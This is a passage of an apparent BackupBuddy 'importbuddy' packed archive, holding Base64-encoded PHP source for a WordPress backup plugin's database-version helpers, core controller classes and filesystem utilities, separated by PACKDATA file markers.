c3QuCgkJCQkJJHZlcnNpb25faW5mb1sndmVyc2lvbiddID0gJG1hcmlhX2RiX3ZlcnNpb25bMF07CgkJCQl9IGVsc2VpZiAoIHByZWdfbWF0Y2goICcvKFxkK1wuKShcZCtcLikoXGQrKS8nLCAkdmVyc2lvbl9pbmZvWydkYl92ZXJzaW9uJ10sICRyYXdfZGJfdmVyc2lvbiApICkgewoJCQkJCS8vIElmIG5vdCBwcmVmaXhlZCB3aXRoIDUuNS41LSwganVzdCBnZXQgdGhlIGZpcnN0IHNlbWFudGljIHZlcnNpb24gbnVtYmVyLgoJCQkJCSR2ZXJzaW9uX2luZm9bJ3ZlcnNpb24nXSA9ICRyYXdfZGJfdmVyc2lvblswXTsKCQkJCX0gZWxzZSB7CgkJCQkJLy8gRmFsbGJhY2sgb24gd2hhdGV2ZXIgJHdwZGIgcmV0dXJucy4KCQkJCQkkdmVyc2lvbl9pbmZvWyd2ZXJzaW9uJ10gPSAkd3BkYi0+ZGJfdmVyc2lvbigpOwoJCQkJfQoJCQl9CgoJCQlpZiAoIGNvdW50KCAkdmVyc2lvbl9pbmZvICkgPiAwICkgewoJCQkJLy8gU3RvcmUgaW4gT2JqZWN0IGNhY2hlLgoJCQkJc2VsZjo6Y2FjaGVfc2V0KCAnZGJfdmVyc2lvbl9pbmZvJywgJHZlcnNpb25faW5mbyApOwoJCQl9CgoJCQlzZWxmOjokaGFzX2luaXQgPSB0cnVlOwoJCX0KCgkJcmV0dXJuICR2ZXJzaW9uX2luZm87Cgl9CgoJLyoqCgkgKiBDaGVja3MgaWYgc2VydmVyIGlzIHJ1bm5pbmcgTWFyaWFEQi4KCSAqCgkgKiBAcmV0dXJuIGJvb2wgIElmIE1hcmlhREIgaXMgYmVpbmcgdXNlZC4KCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBpc19tYXJpYV9kYigpIHsKCQlpZiAoIGZhbHNlID09PSBzZWxmOjokaGFzX2luaXQgKSB7CgkJCXNlbGY6OmdldF9kYl92ZXJzaW9uX2luZm8oKTsKCQl9CgkJcmV0dXJuIHNlbGY6OiRpc19tYXJpYV9kYjsKCX0KCgkvKioKCSAqIENoZWNrcyBpZiBzZXJ2ZXIgaXMgcnVubmluZyBNeVNRTC4KCSAqCgkgKiBAcmV0dXJuIGJvb2wgIElmIE15U1FMIGlzIGJlaW5nIHVzZWQuCgkgKi8KCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gaXNfbXlzcWwoKSB7CgkJaWYgKCBmYWxzZSA9PT0gc2VsZjo6JGhhc19pbml0ICkgewoJCQlzZWxmOjpnZXRfZGJfdmVyc2lvbl9pbmZvKCk7CgkJfQoJCXJldHVybiBzZWxmOjokaXNfbXlzcWw7Cgl9CgoJLyoqCgkgKiBHZXRzIFJlYWwgREIgVmVyc2lvbiwgZWl0aGVyIE1hcmlhREIgb3IgTXlTUUwgdmVyc2lvbi4KCSAqCgkgKiBAcmV0dXJuIHN0cmluZyAgVmVyc2lvbiBvZiBNYXJpYURCIG9yIE15U1FMLgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGdldF9kYl92ZXJzaW9uKCkgewoJCSR2ZXJzaW9uX2luZm8gPSBzZWxmOjpnZXRfZGJfdmVyc2lvbl9pbmZvKCk7CgkJaWYgKCBpc3NldCggJHZlcnNpb25faW5mb1sndmVyc2lvbiddICkgKSB7CgkJCXJldHVybiAkdmVyc2lvbl9pbmZvWyd2ZXJzaW9uJ107CgkJfQoJCWdsb2JhbCAkd3BkYjsKCQlyZXR1cm4gJHdwZGItPmRiX3ZlcnNpb24oKTsKCX0KfQo=
###PACKDATA,FILE_END,/pluginbuddy/classes/class-pb-backupbuddy-db-helpers.php,importbuddy/pluginbuddy/classes/class-pb-backupbuddy-db-helpers.php
###PACKDATA,FILE_START,/pluginbuddy/classes/core_controllers.php,importbuddy/pluginbuddy/classes/core_controllers.php
PD9waHAKLyoqCiAqIENvcmUgQ29udHJvbGxlciBDbGFzc2VzCiAqCiAqIEB0b2RvIEJyZWFrIGludG8gc2VwYXJhdGUgY2xhc3MgZmlsZXMuCiAqCiAqIEBwYWNrYWdlIEJhY2t1cEJ1ZGR5CiAqLwoKLyoqCiAqIEhhbmRsZXMgYWN0aW9ucy4gQ3VycmVudGx5IGp1c3QgcmVwb3J0cyBpZiBhY3Rpb25zIHdlcmUgcmVnaXN0ZXJlZCBhbmQgY2FsbGVkIGJ1dCB0aGUgY2FsbGJhY2sgd2FzIG1pc3NpbmcuCiAqLwpjbGFzcyBwYl9iYWNrdXBidWRkeV9hY3Rpb25zY29yZSB7CgoJLyoqCgkgKiBNYWdpYyBtZXRob2QgaWYgYSBtZXRob2QgaXMgY2FsbGVkIHRoYXQgZG9lcyBub3QgZXhpc3QuCgkgKgoJICogQHBhcmFtIHN0cmluZyAkbmFtZSAgICAgICBGdW5jdGlvbiBuYW1lLgoJICogQHBhcmFtIGFycmF5ICAkYXJndW1lbnRzICBBcnJheSBvZiBhcmd1bWVudHMgcGFzc2VkIHRvIGZ1bmN0aW9uLgoJICovCglwdWJsaWMgZnVuY3Rpb24gX19jYWxsKCAkbmFtZSwgJGFyZ3VtZW50cyApIHsKCQllY2hvICd7TWlzc2luZyBhY3Rpb25zIG1ldGhvZCBgJyAuICRuYW1lIC4gJ2AufSc7Cgl9IC8vIEVuZCBfX2NhbGwoKS4KCn0gLy8gRW5kIGNsYXNzIHBiX2JhY2t1cGJ1ZGR5X2FjdGlvbnMuCgovKioKICogSGFuZGxlcyBhamF4LiBDdXJyZW50bHkganVzdCByZXBvcnRzIGlmIGFqYXggd2FzIHJlZ2lzdGVyZWQgYW5kIGNhbGxlZCBidXQgdGhlIGNhbGxiYWNrIHdhcyBtaXNzaW5nLgogKi8KY2xhc3MgcGJfYmFja3VwYnVkZHlfYWpheGNvcmUgewoKCS8qKgoJICogTWFnaWMgbWV0aG9kIGlmIGEgbWV0aG9kIGlzIGNhbGxlZCB0aGF0IGRvZXMgbm90IGV4aXN0LgoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJG5hbWUgICAgICAgRnVuY3Rpb24gbmFtZS4KCSAqIEBwYXJhbSBhcnJheSAgJGFyZ3VtZW50cyAgQXJyYXkgb2YgYXJndW1lbnRzIHBhc3NlZCB0byBmdW5jdGlvbi4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIF9fY2FsbCggJG5hbWUsICRhcmd1bWVudHMgKSB7CgkJZGllKCAne01pc3NpbmcgYWpheCBtZXRob2QgYCcgLiAkbmFtZSAuICdgLn0nICk7Cgl9IC8vIEVuZCBfX2NhbGwoKS4KCn0gLy8gRW5kIGNsYXNzIHBiX2JhY2t1cGJ1ZGR5X2FqYXguCgovKioKICogSGFuZGxlcyBjcm9ucy4gQ3VycmVudGx5IGp1c3QgcmVwb3J0cyBpZiBjcm9ucyB3ZXJlIHJlZ2lzdGVyZWQgYW5kIGNhbGxlZCBidXQgdGhlIGNhbGxiYWNrIHdhcyBtaXNzaW5nLgogKi8KY2xhc3MgcGJfYmFja3VwYnVkZHlfY3JvbmNvcmUgewoKCS8qKgoJICogTWFnaWMgbWV0aG9kIGlmIGEgbWV0aG9kIGlzIGNhbGxlZCB0aGF0IGRvZXMgbm90IGV4aXN0LgoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJG5hbWUgICAgICAgRnVuY3Rpb24gbmFtZS4KCSAqIEBwYXJhbSBhcnJheSAgJGFyZ3VtZW50cyAgQXJyYXkgb2YgYXJndW1lbnRzIHBhc3NlZCB0byBmdW5jdGlvbi4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIF9fY2FsbCggJG5hbWUsICRhcmd1bWVudHMgKSB7CgkJZGllKCAne01pc3NpbmcgY3JvbiBtZXRob2QgYCcgLiAkbmFtZSAuICdgLn0nICk7Cgl9IC8vIEVuZCBfX2NhbGwoKS4KCn0gLy8gRW5kIGNsYXNzIGJhY2t1cGJ1ZGR5X2Nyb24uCgovKioKICogSGFuZGxlcyBkYXNoYm9hcmQgd2lkZ2V0cyAob24gbWFpbiBhZG1pbiBzY3JlZW4pLiBSZXBvcnRzIGlmIGFkbWluIGRhc2hib2FyZCB3aWRnZXRzIHdlcmUgcmVnaXN0ZXJlZCBhbmQgY2FsbGVkIGJ1dCB0aGUgY2FsbGJhY2sgd2FzIG1pc3NpbmcuCiAqIEFsc28gaGFuZGxlcyB0aGUgYWN0dWFsIHJlZ2lzdGVyaW5nIG9mIHRoZSB3aWRnZXRzLgogKi8KY2xhc3MgcGJfYmFja3VwYnVkZHlfZGFzaGJvYXJkY29yZSB7CgoJLyoqCgkgKiBNYWdpYyBtZXRob2QgaWYgYSBtZXRob2QgaXMgY2FsbGVkIHRoYXQgZG9lcyBub3QgZXhpc3QuCgkgKgoJICogQHBhcmFtIHN0cmluZyAkbmFtZSAgICAgICBGdW5jdGlvbiBuYW1lLgoJICogQHBhcmFtIGFycmF5ICAkYXJndW1lbnRzICBBcnJheSBvZiBhcmd1bWVudHMgcGFzc2VkIHRvIGZ1bmN0aW9uLgoJICovCglwdWJsaWMgZnVuY3Rpb24gX19jYWxsKCAkbmFtZSwgJGFyZ3VtZW50cyApIHsKCQlkaWUoICd7TWlzc2luZyBkYXNoYm9hcmQgbWV0aG9kIGAnIC4gJG5hbWUgLiAnYC59JyApOwoJfSAvLyBFbmQgX19jYWxsKCkuCgoJLyoqCgkgKiBDYWxsZWQgYmFjayBieSBXb3JkUHJlc3MgdG8gYWN0dWFsbHkgcmVnaXN0ZXIgdGhlIGRhc2hib2FyZCB3aWRnZXQgaW4gdGhlIGFkbWluLgoJICovCglwdWJsaWMgZnVuY3Rpb24gcmVnaXN0ZXJfd2lkZ2V0cygpIHsKCQlmb3JlYWNoICggcGJfYmFja3VwYnVkZHk6OiRfZGFzaGJvYXJkX3dpZGdldHMgYXMgJHdpZGdldCApIHsKCgkJCWlmICggJ2dvZG1vZGUnID09PSAkd2lkZ2V0WydjYXBhYmlsaXR5J10gKSB7IC8vIGdvZG1vZGUgY2FwYWJpbHRpeS4KCQkJCWlmICggaXNfbXVsdGlzaXRlKCkgJiYgYmFja3VwYnVkZHlfY29yZTo6aXNfbmV0d29ya19hY3RpdmF0ZWQoKSApIHsgLy8gSW4gYSBuZXR3b3JrIGluc3RhbGxhdGlvbi4KCQkJCQlpZiAoICEgY3VycmVudF91c2VyX2NhbiggJ21hbmFnZV9uZXR3b3JrJyApICkgewoJCQkJCQljb250aW51ZTsgLy8gU2tpcCB0aGlzIHdpZGdldC4gQWNjZXNzIGRlbmllZCB0byBpdC4KCQkJCQl9CgkJCQl9IGVsc2UgeyAvLyBTdGFuZGFsb25lLgoJCQkJCWlmICggISBjdXJyZW50X3VzZXJfY2FuKCAnYWN0aXZhdGVfcGx1Z2lucycgKSApIHsKCQkJCQkJY29udGludWU7IC8vIFNraXAgdGhpcyB3aWRnZXQuIEFjY2VzcyBkZW5pZWQgdG8gaXQuCgkJCQkJfQoJCQkJfQoJCQl9IGVsc2UgeyAvLyBXUCBjYXBhYmlsaXR5LgoJCQkJaWYgKCAhIGN1cnJlbnRfdXNlcl9jYW4oICR3aWRnZXRbJ2NhcGFiaWxpdHknXSApICkgewoJCQkJCWNvbnRpbnVlOyAvLyBTa2lwIHRoaXMgd2lkZ2V0LiBBY2Nlc3MgZGVuaWVkIHRvIGl0LgoJCQkJfQoJCQl9CgoJCQkkd2lkZ2V0X3NsdWcgPSAncGJfJyAuIHBiX2JhY2t1cGJ1ZGR5OjpzZXR0aW5ncyggJ3NsdWcnICkgLiAnXycgLiAkd2lkZ2V0Wyd0YWcnXTsKCQkJd3BfYWRkX2Rhc2hib2FyZF93aWRnZXQoICR3aWRnZXRfc2x1ZywgJHdpZGdldFsndGl0bGUnXSwgYXJyYXkoICR0aGlzLCAkd2lkZ2V0Wyd0YWcnXSApICk7CgoJCQkvLyBJZiBmb3JjZSB0b3AgaXMgZW5hYmxlZCB0aGVuIHdlIHdpbGwgYXR0ZW1wdCB0byBmb3JjZSB0aGUgd2lkZ2V0IHRvIHRoZSB0b3AgaWYgcG9zc2libGUuCgkJCWlmICggaXNzZXQoICR3aWRnZXRbJ2ZvcmNlX3RvcCddICkgJiYgdHJ1ZSA9PT0gJHdpZGdldFsnZm9yY2VfdG9wJ10gKSB7CgkJCQkvLyBOb3RlOiBPbmx5IHdvcmtzIGlmIHVzZXJzIGhhdmUgbmV2ZXIgcmUtYXJyYW5nZWQgdGhlaXIgZGFzaGJvYXJkIHdpZGdldHMuCgkJCQlnbG9iYWwgJHdwX21ldGFfYm94ZXM7CgkJCQkkbm9ybWFsX2Rhc2hib2FyZCA9ICR3cF9tZXRhX2JveGVzWydkYXNoYm9hcmQnXVsnbm9ybWFsJ11bJ2NvcmUnXTsKCQkJCSR3aWRnZXRfYmFja3VwICAgID0gYXJyYXkoICR3aWRnZXRfc2x1ZyA9PiAkbm9ybWFsX2Rhc2hib2FyZFsgJHdpZGdldF9zbHVnIF0gKTsgLy8gU2F2ZSBjb3B5IG9mIG91ciB3aWRnZXQuCgkJCQl1bnNldCggJG5vcm1hbF9kYXNoYm9hcmRbICR3aWRnZXRfc2x1ZyBdICk7IC8vIERlbGV0ZSBvdXIgd2lkZ2V0LgoJCQkJJHdwX21ldGFfYm94ZXNbJ2Rhc2hib2FyZCddWydub3JtYWwnXVsnY29yZSddID0gYXJyYXlfbWVyZ2UoICR3aWRnZXRfYmFja3VwLCAkbm9ybWFsX2Rhc2hib2FyZCApOyAvLyBNZXJnZSBvdXIgd2lkZ2V0IGludG8gdGhlIHRvcC4KCQkJfQoJCX0KCX0gLy8gRW5kIHJlZ2lzdGVyX3dpZGdldHMoKS4KCn0gLy8gRW5kIGNsYXNzIHBiX2JhY2t1cGJ1ZGR5X2Rhc2hib2FyZC4KCi8qKgogKiBIYW5kbGVzIGZpbHRlcnMuIEN1cnJlbnRseSBqdXN0IHJlcG9ydHMgaWYgZmlsdGVycyB3ZXJlIHJlZ2lzdGVyZWQgYW5kIGNhbGxlZCBidXQgdGhlIGNhbGxiYWNrIHdhcyBtaXNzaW5nLgogKi8KY2xhc3MgcGJfYmFja3VwYnVkZHlfZmlsdGVyc2NvcmUgewoKCS8qKgoJICogTWFnaWMgbWV0aG9kIGlmIGEgbWV0aG9kIGlzIGNhbGxlZCB0aGF0IGRvZXMgbm90IGV4aXN0LgoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJG5hbWUgICAgICAgRnVuY3Rpb24gbmFtZS4KCSAqIEBwYXJhbSBhcnJheSAgJGFyZ3VtZW50cyAgQXJyYXkgb2YgYXJndW1lbnRzIHBhc3NlZCB0byBmdW5jdGlvbi4KCSAqCgkgKiBAcmV0dXJuIFt0eXBlXSBbZGVzY3JpcHRpb25dCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBfX2NhbGwoICRuYW1lLCAkYXJndW1lbnRzICkgewoJCXJldHVybiAne01pc3NpbmcgZmlsdGVycyBtZXRob2QgYCcgLiAkbmFtZSAuICdgLn0nOwoJfSAvLyBFbmQgX19jYWxsKCkuCgp9IC8vIEVuZCBjbGFzcyBwYl9iYWNrdXBidWRkeV9maWx0ZXJzLgoKLyoqCiAqIEhhbmRsZXMgYWRtaW4gcGFnZXMuIFJlcG9ydHMgaWYgcGFnZXMgd2VyZSByZWdpc3RlcmVkIGFuZCBjYWxsZWQgYnV0IHRoZSBjYWxsYmFjayB3YXMgbWlzc2luZy4KICogQWxzbyBwcm92aWRlcyBsb2FkX2NvbnRyb2xsZXIoKSBmdW5jdGlvbiBmb3IgcGFnZXMgdG8gY2FsbCB0byBsb2FkIGEgY29udHJvbGxlciB3aGlsZSBpbiB0aGUgY29udHJvbGxlci4KICovCmNsYXNzIHBiX2JhY2t1cGJ1ZGR5X3BhZ2VzY29yZSB7CgoJLyoqCgkgKiBNYWdpYyBtZXRob2QgaWYgYSBtZXRob2QgaXMgY2FsbGVkIHRoYXQgZG9lcyBub3QgZXhpc3QuCgkgKiBBdHRlbXB0cyB0byBsb2FkIGEgY29udHJvbGxlciBwYWdlIG1hdGNoaW5nIHRoZSBtZXRob2QgbmFtZSBpZiBwb3NzaWJsZS4KCSAqCgkgKiBAcGFyYW0gc3RyaW5nICRuYW1lICAgICAgIEZ1bmN0aW9uIG5hbWUuCgkgKiBAcGFyYW0gYXJyYXkgICRhcmd1bWVudHMgIEFycmF5IG9mIGFyZ3VtZW50cyBwYXNzZWQgdG8gZnVuY3Rpb24uCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBfX2NhbGwoICRuYW1lLCAkYXJndW1lbnRzICkgewoJCSRwYWdlX2ZpbGUgPSBwYl9iYWNrdXBidWRkeTo6cGx1Z2luX3BhdGgoKSAuICcvY29udHJvbGxlcnMvcGFnZXMvJyAuICRuYW1lIC4gJy5waHAnOwoJCWlmICggJ2dldHRpbmdfc3RhcnRlZCcgPT09ICRuYW1lICkgewoJCQkkcGFnZV9maWxlID0gcGJfYmFja3VwYnVkZHk6OnBsdWdpbl9wYXRoKCkgLiAnL3BsdWdpbmJ1ZGR5L18nIC4gJG5hbWUgLiAnLnBocCc7CgkJfQoKCQlpZiAoIGZpbGVfZXhpc3RzKCAkcGFnZV9maWxlICkgKSB7IC8vIExvYWQgZnJvbSAvY29udHJvbGxlcnMvcGFnZXMvUEFHRS5waHAgaWYgaXQgZXhpc3RzLgoKCQkJLy8gRGlzcGxheSBwYWdlLgoJCQlwYl9iYWNrdXBidWRkeTo6bG9hZF9zY3JpcHQoICdhZG1pbi5qcycsIHRydWUgKTsKCQkJcGJfYmFja3VwYnVkZHk6OmxvYWRfc3R5bGUoICdhZG1pbi5jc3MnICk7CgkJCXBiX2JhY2t1cGJ1ZGR5Ojpsb2FkX3NjcmlwdCggJ2pxdWVyeS11aS10b29sdGlwJywgZmFsc2UgKTsKCQkJcGJfYmFja3VwYnVkZHk6OmxvYWRfc3R5bGUoICdqUXVlcnktdWktMS4xMS4yLmNzcycsIHRydWUgKTsKCQkJZWNobyAnPGRpdiBjbGFzcz0id3JhcCI+JzsKCQkJcmVxdWlyZV9vbmNlICRwYWdlX2ZpbGU7CgkJCWVjaG8gJzwvZGl2Pic7CgkJfSBlbHNlIHsgLy8gTm90IGZvdW5kLgoJCQllY2hvICd7TWlzc2luZyBwYWdlcyBtZXRob2QgYCcgLiAkbmFtZSAuICdgLn0nOwoJCX0KCX0gLy8gRW5kIF9fY2FsbCgpLgoKCS8qKgoJICogTG9hZCBhIGNvbnRyb2xsZXIgZnJvbSB3aXRoaW4gYSBwYWdlICh3aGljaCBpcyBsb2FkZWQgYnkgYSBjb250cm9sbGVyIGl0c2VsZikuCgkgKgoJICogQHBhcmFtIHN0cmluZyAkcGFnZSAgTmFtZSBvZiB0aGUgcGFnZS4gTG9hZHMgcGFnZSBmcm9tIC9jb250cm9sbGVycy9wYWdlcy9OQU1FLnBocC4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIGxvYWRfY29udHJvbGxlciggJHBhZ2UgKSB7CgkJJHBhZ2VfcGF0aCA9IHBiX2JhY2t1cGJ1ZGR5OjpwbHVnaW5fcGF0aCgpIC4gJy9jb250cm9sbGVycy9wYWdlcy8nIC4gJHBhZ2UgLiAnLnBocCc7CgkJaWYgKCBmaWxlX2V4aXN0cyggJHBhZ2VfcGF0aCApICkgewoJCQlyZXF1aXJlX29uY2UgJHBhZ2VfcGF0aDsKCQl9IGVsc2UgewoJCQllY2hvICd7RXJyb3I6IFVuYWJsZSB0byBsb2FkIHBhZ2UgY29udHJvbGxlciBgJyAuICRwYWdlIC4gJ2A7IGZpbGUgbm90IGZvdW5kLn0nOwoJCX0KCX0KCn0gLy8gRW5kIGNsYXNzIHBiX2JhY2t1cGJ1ZGR5X3BhZ2VzLgoKCi8qKgogKiBIYW5kbGVzIHNob3J0Y29kZXMuIEN1cnJlbnRseSBqdXN0IHJlcG9ydHMgaWYgc2hvcnRjb2RlcyB3ZXJlIHJlZ2lzdGVyZWQgYW5kIGNhbGxlZCBidXQgdGhlIGNhbGxiYWNrIHdhcyBtaXNzaW5nLgogKi8KY2xhc3MgcGJfYmFja3VwYnVkZHlfc2hvcnRjb2Rlc2NvcmUgewoKCS8qKgoJICogTWFnaWMgbWV0aG9kIGlmIGEgbWV0aG9kIGlzIGNhbGxlZCB0aGF0IGRvZXMgbm90IGV4aXN0LgoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJG5hbWUgICAgICAgRnVuY3Rpb24gbmFtZS4KCSAqIEBwYXJhbSBhcnJheSAgJGFyZ3VtZW50cyAgQXJyYXkgb2YgYXJndW1lbnRzIHBhc3NlZCB0byBmdW5jdGlvbi4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIF9fY2FsbCggJG5hbWUsICRhcmd1bWVudHMgKSB7CgkJcmV0dXJuICd7TWlzc2luZyBzaG9ydGNvZGVzIG1ldGhvZCBgJyAuICRuYW1lIC4gJ2AufSc7Cgl9IC8vIEVuZCBfX2NhbGwoKS4KCn0gLy8gRW5kIGNsYXNzIHBiX2JhY2t1cGJ1ZGR5X3Nob3J0Y29kZXMuCg==
###PACKDATA,FILE_END,/pluginbuddy/classes/core_controllers.php,importbuddy/pluginbuddy/classes/core_controllers.php
###PACKDATA,FILE_START,/pluginbuddy/classes/filesystem.php,importbuddy/pluginbuddy/classes/filesystem.php
PD9waHAKLyoqCiAqIEhhbmRsZXMgaW50ZXJmYWNpbmcgd2l0aCB0aGUgZmlsZSBzeXN0ZW0uCiAqCiAqIEBhdXRob3IgRHVzdGluIEJvbHRvbgogKiBAcGFja2FnZSBCYWNrdXBCdWRkeQogKi8KCi8qKgogKiBGaWxlIFN5c3RlbSBDbGFzcwogKi8KY2xhc3MgcGJfYmFja3VwYnVkZHlfZmlsZXN5c3RlbSB7CgoJLyoqCgkgKiBBIG1rZGlyIGZ1bmN0aW9uIHRoYXQgZGVmYXVsdHMgdG8gcmVjdXJzaXZlIGJlaGF2aW91ci4gOTklIG9mIHRoZSB0aW1lIHRoaXMgaXMgd2hhdCB3ZSB3YW50LgoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJHBhdGhuYW1lICAgUGF0aCBvZiBkaXJlY3RvcnkgdG8gY3JlYXRlLgoJICogQHBhcmFtIGludCAgICAkbW9kZSAgICAgICBEZWZhdWx0OiAwNzU1LiBTZWUgUEhQJ3MgbWtkaXIoKSBmdW5jdGlvbiBmb3IgZGV0YWlscy4KCSAqIEBwYXJhbSBib29sICAgJHJlY3Vyc2l2ZSAgRGVmYXVsdDogdHJ1ZS4gU2VlIFBIUCdzIG1rZGlyKCkgZnVuY3Rpb24gZm9yIGRldGFpbHMuCgkgKgoJICogQHJldHVybiBib29sICBSZXR1cm5zIFRSVUUgb24gc3VjY2VzcyBvciBGQUxTRSBvbiBmYWlsdXJlLgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIG1rZGlyKCAkcGF0aG5hbWUsICRtb2RlID0gMDc1NSwgJHJlY3Vyc2l2ZSA9IHRydWUgKSB7CgkJLy8gQXR0ZW1wdCB0byBtYWtlIHRoZSBkaXJlY3Rvcnkgd2l0aCB0aGUgcGFzc2VkIG1vZGUKCQkkcmVzdWx0ID0gQG1rZGlyKCAkcGF0aG5hbWUsICRtb2RlLCAkcmVjdXJzaXZlICk7CgoJCS8vIFNwZWNpZmljYWxseSBjaG1vZCB0aGUgZGlyZWN0b3J5IHRvIHRoZSBjb3JyZWN0IG1vZGUuIFRoaXMgaXMgbmVlZGVkIG9uIHNvbWUgc3lzdGVtcy4KCQlpZiAoIHRydWUgPT0gJHJlc3VsdCApIHsKCQkJQGNobW9kKCAkcGF0aG5hbWUsICRtb2RlICk7CgkJfQoJCXJldHVybiAkcmVzdWx0OwoJfSAvLyBFbmQgbWtkaXIoKS4KCgkvKioKCSAqIFVubGluayBhIGRpcmVjdG9yeSByZWN1cnNpdmVseS4gRmlsZXMgYWxsIGZpbGVzIGFuZCBkaXJlY3RvcmllcyB3aXRoaW4uIFVTRSBXSVRIIENBVVRJT04uCgkgKgoJICogQHBhcmFtIHN0cmluZyAkZGlyICBEaXJlY3RvcnkgdG8gZGVsZXRlIC0tIGFsbCBjb250ZW50cyB3aXRoaW4sIHN1YmRpcmVjdG9yaWVzLCBmaWxlcywgZXRjIHdpbGwgYmUgcGVybWFuZW50bHkgZGVsZXRlZC4KCSAqCgkgKiBAcmV0dXJuIGJvb2wgIFRydWUgb24gc3VjY2VzczsgZWxzZSBmYWxzZS4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIHVubGlua19yZWN1cnNpdmUoICRkaXIgKSB7CgkJaWYgKCBkZWZpbmVkKCAnUEJfREVNT19NT0RFJyApICkgewoJCQlyZXR1cm4gZmFsc2U7CgkJfQoKCQlpZiAoICEgZmlsZV9leGlzdHMoICRkaXIgKSApIHsKCQkJcmV0dXJuIHRydWU7CgkJfQoJCWlmICggISBpc19kaXIoICRkaXIgKSB8fCBpc19saW5rKCAkZGlyICkgKSB7CgkJCUBjaG1vZCggJGRpciwgMDc3NyApOwoJCQlyZXR1cm4gdW5saW5rKCAkZGlyICk7CgkJfQoJCWZvcmVhY2ggKCBzY2FuZGlyKCAkZGlyICkgYXMgJGl0ZW0gKSB7CgkJCWlmICggJy4nID09ICRpdGVtIHx8ICcuLicgPT0gJGl0ZW0gKSB7CgkJCQljb250aW51ZTsKCQkJfQoJCQlpZiAoICEgJHRoaXMtPnVubGlua19yZWN1cnNpdmUoICRkaXIgLiAnLycgLiAkaXRlbSApICkgewoJCQkJQGNobW9kKCAkZGlyIC4gJy8nIC4gJGl0ZW0sIDA3NzcgKTsKCQkJCWlmICggISAkdGhpcy0+dW5saW5rX3JlY3Vyc2l2ZSggJGRpciAuICcvJyAuICRpdGVtICkgKSB7CgkJCQkJcmV0dXJuIGZhbHNlOwoJCQkJfQoJCQl9CgkJfQoJCXJldHVybiBAcm1kaXIoICRkaXIgKTsKCX0gLy8gRW5kIHVubGlua19yZWN1cnNpdmUoKS4KCgkvKioKCSAqIExpa2UgdGhlIGdsb2IoKSBmdW5jdGlvbiBleGNlcHQgd2Fsa3MgZG93biBpbnRvIHBhdGhzIHRvIGNyZWF0ZSBhIGZ1bGwgbGlzdGluZyBvZiBhbGwgcmVzdWx0cyBpbiB0aGUgZGlyZWN0b3J5IGFuZCBhbGwgc3ViZGlyZWN0b3JpZXMuCgkgKiBUaGlzIGlzIGVzc2VudGlhbGx5IGEgcmVjdXJzaXZlIGdsb2IoKSBhbHRob3VnaCBpdCBkb2VzIG5vdCB1c2UgcmVjdXJzaW9uIHRvIHBlcmZvcm0gdGhpcy4KCSAqCgkgKiBAcGFyYW0gc3RyaW5nICRkaXIgICAgICAgUGF0aCB0byBwYXNzIHRvIGdsb2IgYW5kIHdhbGsgdGhyb3VnaC4KCSAqIEBwYXJhbSBhcnJheSAgJGV4Y2x1ZGVzICBBcnJheSBvZiBkaXJlY3RvcmllcyB0byBleGNsdWRlLCByZWxhdGl2ZSB0byB0aGUgJGRpci4gIEluY2x1ZGUgYmVnaW5uaW5nIHNsYXNoLiBObyB0cmFpbGluZyBzbGFzaC4KCSAqCgkgKiBAcmV0dXJuIGFycmF5ICBSZXR1cm5zIGFycmF5IG9mIGFsbCBtYXRjaGVzIGZvdW5kLgoJICovCglwdWJsaWMgZnVuY3Rpb24gZGVlcGdsb2IoICRkaXIsICRleGNsdWRlcyA9IGFycmF5KCkgKSB7CgkJJGRpciAgICAgID0gcnRyaW0oICRkaXIsICcvXFwnICk7IC8vIE1ha2Ugc3VyZSBubyB0cmFpbGluZyBzbGFzaC4KCQkkZXhjbHVkZXMgPSBzdHJfcmVwbGFjZSggJGRpciwgJycsICRleGNsdWRlcyApOwoJCSRkaXJfbGVuICA9IHN0cmxlbiggJGRpciApOwoKCQkkaXRlbXMgPSBnbG9iKCAkZGlyIC4gJy8qJyApOwoJCWlmICggZmFsc2UgPT09ICRpdGVtcyApIHsKCQkJJGl0ZW1zID0gYXJyYXkoKTsKCQl9CgkJZm9yICggJGkgPSAwOyAkaSA8IGNvdW50KCAkaXRlbXMgKTsgJGkrKyApIHsgLy8gJGl0ZW1zIGNoYW5nZXMgd2l0aGluIGxvb3AuCgkJCS8vIElmIHRoaXMgZmlsZS9kaXJlY3RvcnkgYmVnaW5zIHdpdGggYW4gZXhjbHVzaW9uIHRoZW4ganVtcCB0byBuZXh0IGZpbGUvZGlyZWN0b3J5LgoJCQlmb3JlYWNoICggJGV4Y2x1ZGVzIGFzICRleGNsdWRlICkgewoJCQkJaWYgKCBiYWNrdXBidWRkeV9jb3JlOjpzdGFydHNXaXRoKCBzdWJzdHIoICRpdGVtc1sgJGkgXSwgJGRpcl9sZW4gKSwgJGV4Y2x1ZGUgKSApIHsKCQkJCQl1bnNldCggJGl0ZW1zWyAkaSBdICk7CgkJCQkJY29udGludWUgMjsKCQkJCX0KCQkJfQoKCQkJaWYgKCBpc19kaXIoICRpdGVtc1sgJGkgXSApICkgewoJCQkJJGFkZCA9IGdsb2IoICRpdGVtc1sgJGkgXSAuICcvKicgKTsKCQkJCWlmICggZmFsc2UgPT09ICRhZGQgKSB7CgkJCQkJJGFkZCA9IGFycmF5KCk7CgkJCQl9CgkJCQkkaXRlbXMgPSBhcnJheV9tZXJnZSggJGl0ZW1zLCAkYWRkICk7CgkJCX0KCQl9CgoJCXJldHVybiAkaXRlbXM7Cgl9IC8vIEVuZCBkZWVwZ2xvYigpLgoKCS8qKgoJICogTGlrZSB0aGUgZ2xvYigpIGZ1bmN0aW9uIGV4Y2VwdCB3YWxrcyBkb3duIGludG8gcGF0aHMgdG8gY3JlYXRlIGEgZnVsbCBsaXN0aW5nIG9mIGFsbCByZXN1b